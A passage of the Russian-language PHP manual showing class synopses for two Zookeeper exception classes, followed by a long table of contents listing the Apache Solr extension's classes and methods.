There are no user contributed notes for this page.


Класс ZookeeperOperationTimeoutException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений превышения времени ожидания окончания операции.

Обзор классов

class ZookeeperOperationTimeoutException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс ZookeeperSessionException

(PECL zookeeper >= 0.3.0)

Введение

Класс обработки исключений сессии ZooKeeper.

Обзор классов

class ZookeeperSessionException extends ZookeeperException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с поисковыми системами

  • Solr — Apache Solr
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Solr
    • Примеры
    • SolrUtils — Класс SolrUtils
    • SolrInputDocument — Класс SolrInputDocument
    • SolrDocument — Класс SolrDocument
    • SolrDocumentField — Класс SolrDocumentField
    • SolrObject — Класс SolrObject
    • SolrClient — Класс SolrClient
    • SolrResponse — Класс SolrResponse
    • SolrQueryResponse — Класс SolrQueryResponse
    • SolrUpdateResponse — Класс SolrUpdateResponse
    • SolrPingResponse — Класс SolrPingResponse
    • SolrGenericResponse — Класс SolrGenericResponse
    • SolrParams — Класс SolrParams
    • SolrModifiableParams — Класс SolrModifiableParams
    • SolrQuery — Класс SolrQuery
    • SolrDisMaxQuery — Класс SolrDisMaxQuery
    • SolrCollapseFunction — Класс SolrCollapseFunction
    • SolrException — Класс SolrException
    • SolrClientException — Класс SolrClientException
    • SolrServerException — Класс SolrServerException
    • SolrIllegalArgumentException — Класс SolrIllegalArgumentException
    • SolrIllegalOperationException — Класс SolrIllegalOperationException
    • SolrMissingMandatoryParameterException — Класс SolrMissingMandatoryParameterException

User Contributed Notes

There are no user contributed notes for this page.


Apache Solr

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Solr
    • solr_get_version — Возвращает текущую версию модуля Apache Solr
  • Примеры
  • SolrUtils — Класс SolrUtils
    • SolrUtils::digestXmlResponse — Преобразовывает XML-строку ответа в объект SolrObject
    • SolrUtils::escapeQueryChars — Экранирует строку запроса Lucene
    • SolrUtils::getSolrVersion — Возвращает текущую версию модуля Solr
    • SolrUtils::queryPhrase — Подготавливает фразу из неэкранированной строки запроса Lucene
  • SolrInputDocument — Класс SolrInputDocument
    • SolrInputDocument::addChildDocument — Добавляет дочерний документ для блочной индексации
    • SolrInputDocument::addChildDocuments — Добавляет массив дочерних документов
    • SolrInputDocument::addField — Добавляет поле в документ
    • SolrInputDocument::clear — Сбрасывает входной документ
    • SolrInputDocument::__clone — Создаёт копию SolrDocument
    • SolrInputDocument::__construct — Конструктор
    • SolrInputDocument::deleteField — Удаляет поле из документа
    • SolrInputDocument::__destruct — Деструктор
    • SolrInputDocument::fieldExists — Проверяет, существует ли поле
    • SolrInputDocument::getBoost — Получает текущее значение повышения для документа
    • SolrInputDocument::getChildDocuments — Возвращает массив дочерних документов (SolrInputDocument)
    • SolrInputDocument::getChildDocumentsCount — Возвращает количество дочерних документов
    • SolrInputDocument::getField — Получает поле по имени
    • SolrInputDocument::getFieldBoost — Получает значение повышения для определённого поля
    • SolrInputDocument::getFieldCount — Возвращает количество полей в документе
    • SolrInputDocument::getFieldNames — Возвращает массив, содержащий все поля в документе
    • SolrInputDocument::hasChildDocuments — Возвращает true, если у документа есть дочерние документы
    • SolrInputDocument::merge — Объединяет один входной документ в другой
    • SolrInputDocument::reset — Псевдоним SolrInputDocument::clear
    • SolrInputDocument::setBoost — Устанавливает значение повышения для документа
    • SolrInputDocument::setFieldBoost — Устанавливает значение повышения индекса времени для поля
    • SolrInputDocument::sort — Сортирует поля в документе
    • SolrInputDocument::toArray — Возвращает представление массива входного документа
  • SolrDocument — Класс SolrDocument
    • SolrDocument::addField — Добавляет поле в документ
    • SolrDocument::clear — Удаляет все поля в документе
    • SolrDocument::__clone — Создаёт копию объекта SolrDocument
    • SolrDocument::__construct — Конструктор
    • SolrDocument::current — Получает текущее поле
    • SolrDocument::deleteField — Удаляет поле из документа
    • SolrDocument::__destruct — Деструктор
    • SolrDocument::fieldExists — Проверяет, существует ли поле в документе
    • SolrDocument::__get — Доступ к полю как свойству
    • SolrDocument::getChildDocuments — Возвращает массив дочерних документов (SolrDocument)
    • SolrDocument::getChildDocumentsCount — Возвращает количество дочерних документов
    • SolrDocument::getField — Получает поле по имени
    • SolrDocument::getFieldCount — Возвращает количество полей в этом документе
    • SolrDocument::getFieldNames — Возвращает массив имён полей в документе
    • SolrDocument::getInputDocument — Возвращает SolrInputDocument эквивалент объекта
    • SolrDocument::hasChildDocuments — Проверяет, есть ли у документа дочерние документы
    • SolrDocument::__isset — Проверяет, существует ли поле
    • SolrDocument::key — Получает текущий ключ
    • SolrDocument::merge — Сливает источник в текущий SolrDocument
    • SolrDocument::next — Перемещает внутренний указатель на следующее поле
    • SolrDocument::offsetExists — Проверяет, существует ли конкретное поле
    • SolrDocument::offsetGet — Получает поле
    • SolrDocument::offsetSet — Добавляет поле в документ
    • SolrDocument::offsetUnset — Удаляет поле
    • SolrDocument::reset — Псевдоним SolrDocument::clear
    • SolrDocument::rewind — Сбрасывает внутренний указатель на начало
    • SolrDocument::serialize — Используется для пользовательской сериализации
    • SolrDocument::__set — Добавляет ещё одно поле в документ
    • SolrDocument::sort — Сортирует поля в документе
    • SolrDocument::toArray — Возвращает представление массива документа
    • SolrDocument::unserialize — Пользовательская сериализация объектов SolrDocument
    • SolrDocument::__unset — Удаляет поле из документа
    • SolrDocument::valid — Проверяет, является ли текущая позиция внутренне корректной
  • SolrDocumentField — Класс SolrDocumentField
    • SolrDocumentField::__construct — Конструктор
    • SolrDocumentField::__destruct — Деструктор
  • SolrObject — Класс SolrObject
    • SolrObject::__construct — Создаёт объект Solr
    • SolrObject::__destruct — Деструктор
    • SolrObject::getPropertyNames — Возвращает массив всех имён свойств
    • SolrObject::offsetExists — Проверяет, существует ли свойство
    • SolrObject::offsetGet — Используется для получения свойства
    • SolrObject::offsetSet — Устанавливает значение свойства
    • SolrObject::offsetUnset — Сбрасывает значение свойства
  • SolrClient — Класс SolrClient
    • SolrClient::addDocument — Добавляет документ в индекс
    • SolrClient::addDocuments — Добавляет коллекцию экземпляров SolrInputDocument в индекс
    • SolrClient::commit — Завершает все добавления/удаления, сделанные в индексе
    • SolrClient::__construct — Конструктор объекта SolrClient
    • SolrClient::deleteById — Удаляет по идентификатору
    • SolrClient::deleteByIds — Удаляет по идентификаторам
    • SolrClient::deleteByQueries — Удаляет все документы, соответствующие любому из запросов
    • SolrClient::deleteByQuery — Удаляет все документы, соответствующие заданному запросу
    • SolrClient::__destruct — Деструктор SolrClient
    • SolrClient::getById — Получает документ по идентификатору. Использует Solr Realtime Get (RTG)
    • SolrClient::getByIds — Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)
    • SolrClient::getDebug — Возвращает данные отладки для последней попытки подключения
    • SolrClient::getOptions — Возвращает внутренние параметры клиента
    • SolrClient::optimize — Дефрагментирует индекс
    • SolrClient::ping — Проверяет, работает ли сервер Solr
    • SolrClient::query — Отправляет запрос на сервер
    • SolrClient::request — Отправляет необработанный запрос на обновление
    • SolrClient::rollback — Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации
    • SolrClient::setResponseWriter — Устанавливает писатель ответа, используемый для подготовки ответа от Solr
    • SolrClient::setServlet — Изменяет указанный тип сервлета на новое значение
    • SolrClient::system — Получает информацию о сервере Solr
    • SolrClient::threads — Проверяет статус тем
  • SolrResponse — Класс SolrResponse
    • SolrResponse::getDigestedResponse — Возвращает ответ XML как сериализованные данные PHP
    • SolrResponse::getHttpStatus — Возвращает HTTP-статус ответа
    • SolrResponse::getHttpStatusMessage — Возвращает более подробную информацию о статусе HTTP
    • SolrResponse::getRawRequest — Возвращает необработанный запрос, отправленный на сервер Solr
    • SolrResponse::getRawRequestHeaders — Возвращает необработанные заголовки запроса, отправленные на сервер Solr
    • SolrResponse::getRawResponse — Возвращает необработанный ответ с сервера
    • SolrResponse::getRawResponseHeaders — Возвращает необработанные заголовки ответа с сервера
    • SolrResponse::getRequestUrl — Возвращает полный URL-адрес, на который был отправлен запрос
    • SolrResponse::getResponse — Возвращает SolrObject, представляющий ответ XML от сервера
    • SolrResponse::setParseMode — Устанавливает режим разбора
    • SolrResponse::success — Был ли запрос успешным?
  • SolrQueryResponse — Класс SolrQueryResponse
    • SolrQueryResponse::__construct — Конструктор
    • SolrQueryResponse::__destruct — Деструктор
  • SolrUpdateResponse — Класс SolrUpdateResponse
    • SolrUpdateResponse::__construct — Конструктор
    • SolrUpdateResponse::__destruct — Деструктор
  • SolrPingResponse — Класс SolrPingResponse
    • SolrPingResponse::__construct — Конструктор
    • SolrPingResponse::__destruct — Деструктор
    • SolrPingResponse::getResponse — Возвращает ответ от сервера
  • SolrGenericResponse — Класс SolrGenericResponse
    • SolrGenericResponse::__construct — Конструктор
    • SolrGenericResponse::__destruct — Деструктор
  • SolrParams — Класс SolrParams
    • SolrParams::add — Псевдоним SolrParams::addParam
    • SolrParams::addParam — Добавляет параметр к объекту
    • SolrParams::get — Псевдоним SolrParams::getParam
    • SolrParams::getParam — Возвращает значение параметра
    • SolrParams::getParams — Возвращает массив параметров, не в URL-закодированном виде
    • SolrParams::getPreparedParams — Возвращает массив параметров в URL-закодированном виде
    • SolrParams::serialize — Используется для пользовательской сериализации
    • SolrParams::set — Псевдоним SolrParams::setParam
    • SolrParams::setParam — Устанавливает параметр на указанное значение
    • SolrParams::toString — Возвращает все параметры объекта в виде пар имя-значение
    • SolrParams::unserialize — Используется для пользовательской сериализации
  • SolrModifiableParams — Класс SolrModifiableParams
    • SolrModifiableParams::__construct — Конструктор
    • SolrModifiableParams::__destruct — Деструктор
  • SolrQuery — Класс SolrQuery
    • SolrQuery::addExpandFilterQuery — Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
    • SolrQuery::addExpandSortField — Упорядочивает документы в расширенных группах (параметр expand.sort)
    • SolrQuery::addFacetDateField — Карты для facet.date
    • SolrQuery::addFacetDateOther — Добавляет ещё один параметр facet.date.other
    • SolrQuery::addFacetField — Добавляет другое поле к фасету
    • SolrQuery::addFacetQuery — Добавляет фасетный запрос
    • SolrQuery::addField — Указывает, какие поля возвращать в результате
    • SolrQuery::addFilterQuery — Определяет запрос фильтра
    • SolrQuery::addGroupField — Добавляет поле, которое будет использоваться для группировки результатов
    • SolrQuery::addGroupFunction — Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
    • SolrQuery::addGroupQuery — Позволяет группировать документы, соответствующие данному запросу
    • SolrQuery::addGroupSortField — Добавляет поле сортировки группы (параметр group.sort)
    • SolrQuery::addHighlightField — Соответствует hl.fl
    • SolrQuery::addMltField — Устанавливает поле для использования для подобия
    • SolrQuery::addMltQueryField — Соответствует mlt.qf
    • SolrQuery::addSortField — Используется для управления сортировкой результатов
    • SolrQuery::addStatsFacet — Запрашивает возврат вспомогательных результатов для значений в данном фасете
    • SolrQuery::addStatsField — Соответствует параметру stats.field
    • SolrQuery::collapse — Сворачивает набор результатов до одного документа на группу
    • SolrQuery::__construct — Конструктор
    • SolrQuery::__destruct — Деструктор
    • SolrQuery::getExpand — Возвращает true, если включено расширение группы
    • SolrQuery::getExpandFilterQueries — Возвращает запросы расширенного фильтра
    • SolrQuery::getExpandQuery — Возвращает параметр расширенного запроса expand.q
    • SolrQuery::getExpandRows — Возвращает количество строк, отображаемых в каждой группе (expand.rows)
    • SolrQuery::getExpandSortFields — Возвращает массив полей
    • SolrQuery::getFacet — Возвращает значение параметра фасета
    • SolrQuery::getFacetDateEnd — Возвращает значение параметра facet.date.end
    • SolrQuery::getFacetDateFields — Возвращает все поля facet.date
    • SolrQuery::getFacetDateGap — Возвращает значение параметра facet.date.gap
    • SolrQuery::getFacetDateHardEnd — Возвращает значение параметра facet.date.hardend
    • SolrQuery::getFacetDateOther — Возвращает значение параметра facet.date.other
    • SolrQuery::getFacetDateStart — Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле
    • SolrQuery::getFacetFields — Возвращает все поля фасетов
    • SolrQuery::getFacetLimit — Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета
    • SolrQuery::getFacetMethod — Возвращает значение параметра facet.method
    • SolrQuery::getFacetMinCount — Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ
    • SolrQuery::getFacetMissing — Возвращает текущее состояние параметра facet.missing
    • SolrQuery::getFacetOffset — Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации
    • SolrQuery::getFacetPrefix — Возвращает префикс фасета
    • SolrQuery::getFacetQueries — Возвращает все фасетные запросы
    • SolrQuery::getFacetSort — Возвращает тип сортировки фасета
    • SolrQuery::getFields — Возвращает список полей, которые будут возвращены в ответе
    • SolrQuery::getFilterQueries — Возвращает массив запросов фильтра
    • SolrQuery::getGroup — Возвращает true, если группировка включена
    • SolrQuery::getGroupCachePercent — Возвращает процентное значение группового кеша
    • SolrQuery::getGroupFacet — Возвращает значение параметра group.facet
    • SolrQuery::getGroupFields — Возвращает групповые поля (значения параметра group.field)
    • SolrQuery::getGroupFormat — Возвращает значение group.format
    • SolrQuery::getGroupFunctions — Возвращает групповые функции (значения параметров group.func)
    • SolrQuery::getGroupLimit — Возвращает значение group.limit
    • SolrQuery::getGroupMain — Возвращает значение group.main
    • SolrQuery::getGroupNGroups — Возвращает значение group.ngroups
    • SolrQuery::getGroupOffset — Возвращает значение group.offset
    • SolrQuery::getGroupQueries — Возвращает все значения параметра group.query
    • SolrQuery::getGroupSortFields — Возвращает значение group.sort
    • SolrQuery::getGroupTruncate — Возвращает значение group.truncate
    • SolrQuery::getHighlight — Возвращает состояние параметра hl
    • SolrQuery::getHighlightAlternateField — Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию
    • SolrQuery::getHighlightFields — Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты
    • SolrQuery::getHighlightFormatter — Возвращает средство форматирования для выделенного вывода
    • SolrQuery::getHighlightFragmenter — Возвращает генератор фрагментов текста для выделенного текста
    • SolrQuery::getHighlightFragsize — Возвращает количество символов фрагментов для выделения
    • SolrQuery::getHighlightHighlightMultiTerm — Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов
    • SolrQuery::getHighlightMaxAlternateFieldLength — Возвращает максимальное количество символов поля для возврата
    • SolrQuery::getHighlightMaxAnalyzedChars — Возвращает максимальное количество символов в документе для поиска подходящих фрагментов
    • SolrQuery::getHighlightMergeContiguous — Возвращает, свернуть ли смежные фрагменты в один фрагмент
    • SolrQuery::getHighlightRegexMaxAnalyzedChars — Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения
    • SolrQuery::getHighlightRegexPattern — Возвращает регулярное выражение для фрагментации
    • SolrQuery::getHighlightRegexSlop — Возвращает коэффициент отклонения от идеального размера фрагмента
    • SolrQuery::getHighlightRequireFieldMatch — Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю
    • SolrQuery::getHighlightSimplePost — Возвращает текст, который появляется после выделенного выражения
    • SolrQuery::getHighlightSimplePre — Возвращает текст, который появляется перед выделенным выражением
    • SolrQuery::getHighlightSnippets — Возвращает максимальное количество выделенных фрагментов для создания для каждого поля
    • SolrQuery::getHighlightUsePhraseHighlighter — Возвращает состояние параметра hl.usePhraseHighlighter
    • SolrQuery::getMlt — Возвращает, должны ли быть включены результаты MoreLikeThis
    • SolrQuery::getMltBoost — Возвращает, будет ли запрос усилен релевантностью интересующего выражения
    • SolrQuery::getMltCount — Возвращает количество похожих документов, возвращаемых для каждого результата
    • SolrQuery::getMltFields — Возвращает все поля, которые нужно использовать для сравнения
    • SolrQuery::getMltMaxNumQueryTerms — Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос
    • SolrQuery::getMltMaxNumTokens — Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector
    • SolrQuery::getMltMaxWordLength — Возвращает максимальную длину слова, выше которой слова будут игнорироваться
    • SolrQuery::getMltMinDocFrequency — Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов
    • SolrQuery::getMltMinTermFrequency — Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе
    • SolrQuery::getMltMinWordLength — Возвращает минимальную длину слова, ниже которой слова будут игнорироваться
    • SolrQuery::getMltQueryFields — Возвращает поля запроса и их повышения
    • SolrQuery::getQuery — Возвращает основной запрос
    • SolrQuery::getRows — Возвращает максимальное количество документов
    • SolrQuery::getSortFields — Возвращает все поля сортировки
    • SolrQuery::getStart — Возвращает смещение в полном наборе результатов
    • SolrQuery::getStats — Возвращает, включена ли статистика
    • SolrQuery::getStatsFacets — Возвращает все фасеты статистики, которые были установлены
    • SolrQuery::getStatsFields — Возвращает все поля статистики
    • SolrQuery::getTerms — Возвращает, включён ли TermsComponent
    • SolrQuery::getTermsField — Возвращает поле, из которого извлекаются выражения
    • SolrQuery::getTermsIncludeLowerBound — Возвращает, нужно ли включать выражение нижней границы в набор результатов
    • SolrQuery::getTermsIncludeUpperBound — Возвращает, нужно ли включать выражение верхней границы в набор результатов
    • SolrQuery::getTermsLimit — Возвращает максимальное количество выражений, которые должна вернуть Solr
    • SolrQuery::getTermsLowerBound — Возвращает выражение для начала
    • SolrQuery::getTermsMaxCount — Возвращает максимальную частоту документа
    • SolrQuery::getTermsMinCount — Возвращает минимальную частоту возврата документов для включения
    • SolrQuery::getTermsPrefix — Возвращает префикс выражения
    • SolrQuery::getTermsReturnRaw — Следует ли возвращать необработанные символы
    • SolrQuery::getTermsSort — Возвращает целое число, указывающее, как сортируются выражения
    • SolrQuery::getTermsUpperBound — Возвращает выражение для остановки
    • SolrQuery::getTimeAllowed — Возвращает время в миллисекундах, разрешённое для завершения запроса
    • SolrQuery::removeExpandFilterQuery — Удаляет запрос расширенного фильтра
    • SolrQuery::removeExpandSortField — Удаляет расширенное поле сортировки из параметра expand.sort
    • SolrQuery::removeFacetDateField — Удаляет одно из полей даты фасета
    • SolrQuery::removeFacetDateOther — Удаляет один из параметров facet.date.other
    • SolrQuery::removeFacetField — Удаляет один из параметров facet.date
    • SolrQuery::removeFacetQuery — Удаляет один из параметров facet.query
    • SolrQuery::removeField — Удаляет поле из списка полей
    • SolrQuery::removeFilterQuery — Удаляет запрос фильтра
    • SolrQuery::removeHighlightField — Удаляет одно из полей, используемых для выделения
    • SolrQuery::removeMltField — Удаляет одно из полей moreLikeThis
    • SolrQuery::removeMltQueryField — Удаляет одно из полей запроса moreLikeThis
    • SolrQuery::removeSortField — Удаляет одно из полей сортировки
    • SolrQuery::removeStatsFacet — Удаляет один из параметров stats.facet
    • SolrQuery::removeStatsField — Удаляет один из параметров stats.field
    • SolrQuery::setEchoHandler — Переключает параметр echoHandler
    • SolrQuery::setEchoParams — Определяет, какие параметры включать в ответ
    • SolrQuery::setExpand — Включает/отключает компонент Expand
    • SolrQuery::setExpandQuery — Устанавливает параметр expand.q
    • SolrQuery::setExpandRows — Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
    • SolrQuery::setExplainOther — Устанавливает общий параметр запроса explainOther
    • SolrQuery::setFacet — Соответствует параметру фасета. Включает или отключает фасетирование
    • SolrQuery::setFacetDateEnd — Соответствует facet.date.end
    • SolrQuery::setFacetDateGap — Соответствует facet.date.gap
    • SolrQuery::setFacetDateHardEnd — Соответствует facet.date.hardend
    • SolrQuery::setFacetDateStart — Соответствует facet.date.start
    • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Устанавливает минимальную частоту документа, используемую для определения количества выражений
    • SolrQuery::setFacetLimit — Соответствует facet.limit
    • SolrQuery::setFacetMethod — Задаёт тип алгоритма, который следует использовать при фасетировании поля
    • SolrQuery::setFacetMinCount — Соответствует facet.mincount
    • SolrQuery::setFacetMissing — Соответствует facet.missing
    • SolrQuery::setFacetOffset — Устанавливает смещение в список ограничений для разбивки на страницы
    • SolrQuery::setFacetPrefix — Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет
    • SolrQuery::setFacetSort — Определяет порядок ограничений поля фасета
    • SolrQuery::setGroup — Включает/отключает группировку результатов (параметр group)
    • SolrQuery::setGroupCachePercent — Включает кеширование для группировки результатов
    • SolrQuery::setGroupFacet — Устанавливает параметр group.facet
    • SolrQuery::setGroupFormat — Устанавливает формат группы, структуру результата (параметр group.format)
    • SolrQuery::setGroupLimit — Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
    • SolrQuery::setGroupMain — Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
    • SolrQuery::setGroupNGroups — Если true, Solr включает в результаты количество групп, которые соответствуют запросу
    • SolrQuery::setGroupOffset — Устанавливает параметр group.offset
    • SolrQuery::setGroupTruncate — Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
    • SolrQuery::setHighlight — Включает или отключает выделение
    • SolrQuery::setHighlightAlternateField — Задаёт поле резервного копирования для использования
    • SolrQuery::setHighlightFormatter — Задаёт средство форматирования для вывода выделения
    • SolrQuery::setHighlightFragmenter — Устанавливает генератор текстовых фрагментов для выделенного текста
    • SolrQuery::setHighlightFragsize — Размер фрагментов, которые следует учитывать при выделении
    • SolrQuery::setHighlightHighlightMultiTerm — Использовать SpanScorer для выделения выражений
    • SolrQuery::setHighlightMaxAlternateFieldLength — Устанавливает максимальное количество символов поля для возврата
    • SolrQuery::setHighlightMaxAnalyzedChars — Задаёт количество символов в документе для поиска подходящих фрагментов
    • SolrQuery::setHighlightMergeContiguous — Свёртывать ли смежные фрагменты в один фрагмент
    • SolrQuery::setHighlightRegexMaxAnalyzedChars — Задаёт максимальное количество символов для анализа
    • SolrQuery::setHighlightRegexPattern — Задаёт регулярное выражение для фрагментации
    • SolrQuery::setHighlightRegexSlop — Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента
    • SolrQuery::setHighlightRequireFieldMatch — Требовать сопоставления полей при выделении
    • SolrQuery::setHighlightSimplePost — Устанавливает текст, который появляется после выделенного выражения
    • SolrQuery::setHighlightSimplePre — Устанавливает текст, который появляется перед выделенным выражением
    • SolrQuery::setHighlightSnippets — Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля
    • SolrQuery::setHighlightUsePhraseHighlighter — Следует ли выделять выражения только тогда, когда они появляются во фразе запроса
    • SolrQuery::setMlt — Включает или отключает moreLikeThis
    • SolrQuery::setMltBoost — Устанавливает, будет ли запрос усилен релевантностью интересного выражения
    • SolrQuery::setMltCount — Устанавливает количество похожих документов, возвращаемых для каждого результата
    • SolrQuery::setMltMaxNumQueryTerms — Устанавливает максимальное количество включаемых выражений запроса
    • SolrQuery::setMltMaxNumTokens — Задаёт максимальное количество токенов для анализа
    • SolrQuery::setMltMaxWordLength — Устанавливает максимальную длину слова
    • SolrQuery::setMltMinDocFrequency — Устанавливает частоту mltMinDoc
    • SolrQuery::setMltMinTermFrequency — Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации
    • SolrQuery::setMltMinWordLength — Устанавливает минимальную длину слова
    • SolrQuery::setOmitHeader — Исключает заголовок из возвращаемых результатов
    • SolrQuery::setQuery — Устанавливает поисковый запрос
    • SolrQuery::setRows — Задаёт максимальное количество строк, возвращаемых в результате
    • SolrQuery::setShowDebugInfo — Флаг для отображения отладочной информации
    • SolrQuery::setStart — Определяет количество пропускаемых строк
    • SolrQuery::setStats — Включает или отключает компонент Stats
    • SolrQuery::setTerms — Включает или отключает TermsComponent
    • SolrQuery::setTermsField — Устанавливает имя поля, из которого нужно получить выражение
    • SolrQuery::setTermsIncludeLowerBound — Включает нижнюю границу выражения в набор результатов
    • SolrQuery::setTermsIncludeUpperBound — Включает верхнюю границу выражения в набор результатов
    • SolrQuery::setTermsLimit — Устанавливает максимальное количество возвращаемых выражений
    • SolrQuery::setTermsLowerBound — Определяет выражение, с которого нужно начинать
    • SolrQuery::setTermsMaxCount — Устанавливает максимальную частоту документов
    • SolrQuery::setTermsMinCount — Устанавливает минимальную частоту документов
    • SolrQuery::setTermsPrefix — Ограничивает совпадения выражениями, начинающимися с префикса
    • SolrQuery::setTermsReturnRaw — Вернуть необработанные символы проиндексированного выражения
    • SolrQuery::setTermsSort — Определяет, как сортировать возвращённые условия
    • SolrQuery::setTermsUpperBound — Устанавливает условие для остановки
    • SolrQuery::setTimeAllowed — Время, отведённое на поиск
  • SolrDisMaxQuery — Класс SolrDisMaxQuery
    • SolrDisMaxQuery::addBigramPhraseField — Добавляет поле фразовой биграммы (параметр pf2)
    • SolrDisMaxQuery::addBoostQuery — Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)
    • SolrDisMaxQuery::addPhraseField — Добавляет поле фразы (параметр pf)
    • SolrDisMaxQuery::addQueryField — Добавляет поле запроса с необязательным повышением (параметр qf)
    • SolrDisMaxQuery::addTrigramPhraseField — Добавляет поле триграммы (параметр pf3)
    • SolrDisMaxQuery::addUserField — Добавляет поле в параметр пользовательских полей (uf)
    • SolrDisMaxQuery::__construct — Конструктор класса
    • SolrDisMaxQuery::removeBigramPhraseField — Удаляет поле биграммы фразы (параметр pf2)
    • SolrDisMaxQuery::removeBoostQuery — Удаляет частичное повышение запроса по имени поля (bq)
    • SolrDisMaxQuery::removePhraseField — Удаляет поле фразы (параметра)
    • SolrDisMaxQuery::removeQueryField — Удаляет поле запроса (параметр qf)
    • SolrDisMaxQuery::removeTrigramPhraseField — Удаляет поле триграммы (параметр pf3)
    • SolrDisMaxQuery::removeUserField — Удаляет поле из параметра пользовательских полей (uf)
    • SolrDisMaxQuery::setBigramPhraseFields — Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2
    • SolrDisMaxQuery::setBigramPhraseSlop — Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)
    • SolrDisMaxQuery::setBoostFunction — Устанавливает функцию усиления (параметр bf)
    • SolrDisMaxQuery::setBoostQuery — Непосредственно устанавливает параметр запроса усиления (bq)
    • SolrDisMaxQuery::setMinimumMatch — Устанавливает минимальное соответствие "Should" (mm)
    • SolrDisMaxQuery::setPhraseFields — Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2
    • SolrDisMaxQuery::setPhraseSlop — Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)
    • SolrDisMaxQuery::setQueryAlt — Устанавливает альтернативный запрос (параметр q.alt)
    • SolrDisMaxQuery::setQueryPhraseSlop — Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)
    • SolrDisMaxQuery::setTieBreaker — Устанавливает параметр Tie Breaker (параметр tie)
    • SolrDisMaxQuery::setTrigramPhraseFields — Непосредственно устанавливает поля триграммы фразы (параметр pf3)
    • SolrDisMaxQuery::setTrigramPhraseSlop — Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)
    • SolrDisMaxQuery::setUserFields — Устанавливает параметр пользовательских полей (uf)
    • SolrDisMaxQuery::useDisMaxQueryParser — Переключает QueryParser на DisMax Query Parser
    • SolrDisMaxQuery::useEDisMaxQueryParser — Переключает QueryParser на EDisMax
  • SolrCollapseFunction — Класс SolrCollapseFunction
    • SolrCollapseFunction::__construct — Конструктор класса
    • SolrCollapseFunction::getField — Возвращает свёрнутое поле
    • SolrCollapseFunction::getHint — Возвращает подсказку сворачивания
    • SolrCollapseFunction::getMax — Возвращает максимальное значение
    • SolrCollapseFunction::getMin — Возвращает минимальное значение
    • SolrCollapseFunction::getNullPolicy — Возвращает NULL-политику
    • SolrCollapseFunction::getSize — Возвращает параметр размера
    • SolrCollapseFunction::setField — Устанавливает поле для свёртывания
    • SolrCollapseFunction::setHint — Устанавливает подсказку сворачивания
    • SolrCollapseFunction::setMax — Выбирает заголовки группы по максимальному значению числового поля или запроса функции
    • SolrCollapseFunction::setMin — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
    • SolrCollapseFunction::setNullPolicy — Устанавливает NULL-политику
    • SolrCollapseFunction::setSize — Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
    • SolrCollapseFunction::__toString — Возвращает строку, представляющую построенную функцию свёртывания
  • SolrException — Класс SolrException
    • SolrException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение
  • SolrClientException — Класс SolrClientException
    • SolrClientException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение
  • SolrServerException — Класс SolrServerException
    • SolrServerException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение
  • SolrIllegalArgumentException — Класс SolrIllegalArgumentException
    • SolrIllegalArgumentException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение
  • SolrIllegalOperationException — Класс SolrIllegalOperationException
